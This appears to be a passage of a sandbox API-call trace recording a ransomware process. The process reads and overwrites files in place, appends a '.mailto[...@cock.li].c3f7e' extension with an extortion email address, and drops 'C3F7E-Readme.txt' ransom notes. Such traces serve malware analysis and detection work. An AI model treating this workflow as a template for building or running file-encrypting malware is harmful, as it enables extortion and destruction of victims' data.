	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xf984a564
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x15569fe5
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x6b425cb3
	[0075.382] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.382] ReadFile (in: hFile=0x97c, lpBuffer=0x4833818, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x960fa60, lpOverlapped=0x0 | out: lpBuffer=0x4833818*, lpNumberOfBytesRead=0x960fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0075.383] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0075.384] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4840020
	[0075.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0075.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.388] WriteFile (in: hFile=0x97c, lpBuffer=0x4840020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x960fa60, lpOverlapped=0x0 | out: lpBuffer=0x4840020*, lpNumberOfBytesWritten=0x960fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0078.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4840020) returned 1
	[0078.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4833818) returned 1
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e46068
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0078.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2d7bc78
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0078.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0078.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771d08
	[0078.644] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.644] WriteFile (in: hFile=0x97c, lpBuffer=0x4771d08*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x960fae0, lpOverlapped=0x0 | out: lpBuffer=0x4771d08*, lpNumberOfBytesWritten=0x960fae0*=0x113, lpOverlapped=0x0) returned 1
	[0078.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771d08) returned 1
	[0078.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bc78) returned 1
	[0078.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0078.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46068) returned 1
	[0078.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0078.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a10) returned 1
	[0078.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0078.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0078.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986ef0
	[0078.694] wcscpy (in: _Dest=0x4986ef0, _Source="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml"
	[0078.694] wcscat (in: _Dest=0x4986ef0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.694] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x960fa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476ada8
	[0078.694] NtSetInformationFile (FileHandle=0x97c, IoStatusBlock=0x960fa90, FileInformation=0x476ada8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ada8) returned 1
	[0078.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dfb8) returned 1
	[0078.801] NtQueryInformationFile (in: FileHandle=0x97c, IoStatusBlock=0x960faa4, FileInformation=0x960fa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x960faa4, FileInformation=0x960fa7c) returned 0x0
	[0078.802] NtSetInformationFile (FileHandle=0x97c, IoStatusBlock=0x960faa4, FileInformation=0x960fa7c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986ef0) returned 1
	[0078.802] FlushFileBuffers (hFile=0x97c) returned 1
	[0080.101] CloseHandle (hObject=0x97c) returned 1
	[0080.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780ec8
	[0080.209] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\588bce7c90097ed212\\1029\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0080.209] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt"
	[0080.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\c3f7e-readme.txt")) returned 0x20
	[0080.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0080.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79f00) returned 1

Thread:
	id = 176
	os_tid = 0x136c

	[0075.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0075.389] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.389] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x980
	[0075.389] GetFileSizeEx (in: hFile=0x980, lpFileSize=0x968fbe4 | out: lpFileSize=0x968fbe4*=3314) returned 1
	[0075.389] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0xcee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.389] ReadFile (in: hFile=0x980, lpBuffer=0x968fb68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x968fb64, lpOverlapped=0x0 | out: lpBuffer=0x968fb68*, lpNumberOfBytesRead=0x968fb64*=0x4, lpOverlapped=0x0) returned 1
	[0075.391] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0075.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.392] NtQuerySystemTime (in: CurrentTime=0x968fb44 | out: CurrentTime=0x968fb44*=132251868021222074) returned 0x0
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xe0d21c17
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x4ce44bec
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x67e584c9
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x1c5fda3c
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x84fbf8d0
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x983cfec3
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xe13df46d
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x7b902e7b
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xf8e320bf
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x3a8ca5ab
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x87768413
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x7c1fbbfe
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x706d0495
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xc104e8dd
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x28989bd6
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x73a6a52
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xdcce2838
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x792796ff
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xf6e27883
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xec169f25
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x6e0bec14
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xd13d4796
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xcc767ca4
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x5b326808
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x649ecca6
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xfde5e89d
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x7b3f8e9d
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xbbd3d091
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x8ff8d6aa
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0x46525665
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xc72ccd61
	[0075.392] RtlRandom (in: Seed=0x968fb50 | out: Seed=0x968fb50) returned 0xa337a90c
	[0075.403] ReadFile (in: hFile=0x980, lpBuffer=0x484c828, nNumberOfBytesToRead=0xcf2, lpNumberOfBytesRead=0x968fb40, lpOverlapped=0x0 | out: lpBuffer=0x484c828*, lpNumberOfBytesRead=0x968fb40*=0xcf2, lpOverlapped=0x0) returned 1
	[0075.403] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.403] WriteFile (in: hFile=0x980, lpBuffer=0x4859030*, nNumberOfBytesToWrite=0xcf2, lpNumberOfBytesWritten=0x968fb3c, lpOverlapped=0x0 | out: lpBuffer=0x4859030*, lpNumberOfBytesWritten=0x968fb3c*=0xcf2, lpOverlapped=0x0) returned 1
	[0075.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0075.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4859030) returned 1
	[0075.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x484c828) returned 1
	[0075.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47f10
	[0075.405] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.405] WriteFile (in: hFile=0x980, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x968fba4, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x968fba4*=0x101, lpOverlapped=0x0) returned 1
	[0075.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0075.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0075.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0075.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0075.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0075.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0075.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0075.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.407] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1030\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf"
	[0075.407] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.407] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x968fb5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.409] NtQueryInformationFile (in: FileHandle=0x980, IoStatusBlock=0x968fb68, FileInformation=0x968fb40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x968fb68, FileInformation=0x968fb40) returned 0x0
	[0075.409] NtSetInformationFile (FileHandle=0x980, IoStatusBlock=0x968fb68, FileInformation=0x968fb40, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.410] FlushFileBuffers (hFile=0x980) returned 1
	[0075.411] CloseHandle (hObject=0x980) returned 1
	[0075.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.412] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1030\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0075.412] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt"
	[0075.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x980
	[0075.412] WriteFile (in: hFile=0x980, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x968fb64, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x968fb64*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.413] CloseHandle (hObject=0x980) returned 1
	[0075.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731050) returned 1

Thread:
	id = 177
	os_tid = 0x72c

	[0075.404] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0075.407] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x980
	[0075.413] GetFileSizeEx (in: hFile=0x980, lpFileSize=0x970f854 | out: lpFileSize=0x970f854*=77748) returned 1
	[0075.413] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x12fb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.413] ReadFile (in: hFile=0x980, lpBuffer=0x970f7d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x970f7d4, lpOverlapped=0x0 | out: lpBuffer=0x970f7d8*, lpNumberOfBytesRead=0x970f7d4*=0x4, lpOverlapped=0x0) returned 1
	[0075.415] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0075.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.415] NtQuerySystemTime (in: CurrentTime=0x970f7b4 | out: CurrentTime=0x970f7b4*=132251868021533778) returned 0x0
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x10cb9b7
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x6971369a
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xd6573da6
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xce1c4573
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xeff8dce1
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xf21572ca
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x4e25bdfa
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xace7c4bf
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x31177223
	[0075.415] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x1d53e88b
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x1f9a290d
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xb00194db
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x83cc57e2
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xd3440b62
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x5c7ab23b
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xe4e8a671
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x40783270
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xb6454710
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xb5f5b166
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x89c8ac60
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xca794424
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xf042fdd3
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x9cad7bf7
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x8c762389
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x235960ef
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xf9b17476
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x6cc4048e
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x140a7785
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xae52f7a5
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0xcd9caded
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x6c64f0dd
	[0075.416] RtlRandom (in: Seed=0x970f7c0 | out: Seed=0x970f7c0) returned 0x15bdb169
	[0075.424] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.424] ReadFile (in: hFile=0x980, lpBuffer=0x484c828, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x970f794, lpOverlapped=0x0 | out: lpBuffer=0x484c828*, lpNumberOfBytesRead=0x970f794*=0xc800, lpOverlapped=0x0) returned 1
	[0075.425] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0075.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0075.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4859030
	[0075.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0075.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0075.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.427] WriteFile (in: hFile=0x980, lpBuffer=0x4859030*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x970f794, lpOverlapped=0x0 | out: lpBuffer=0x4859030*, lpNumberOfBytesWritten=0x970f794*=0xc800, lpOverlapped=0x0) returned 1
	[0078.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4859030) returned 1
	[0078.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x484c828) returned 1
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e2d8
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e268
	[0078.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
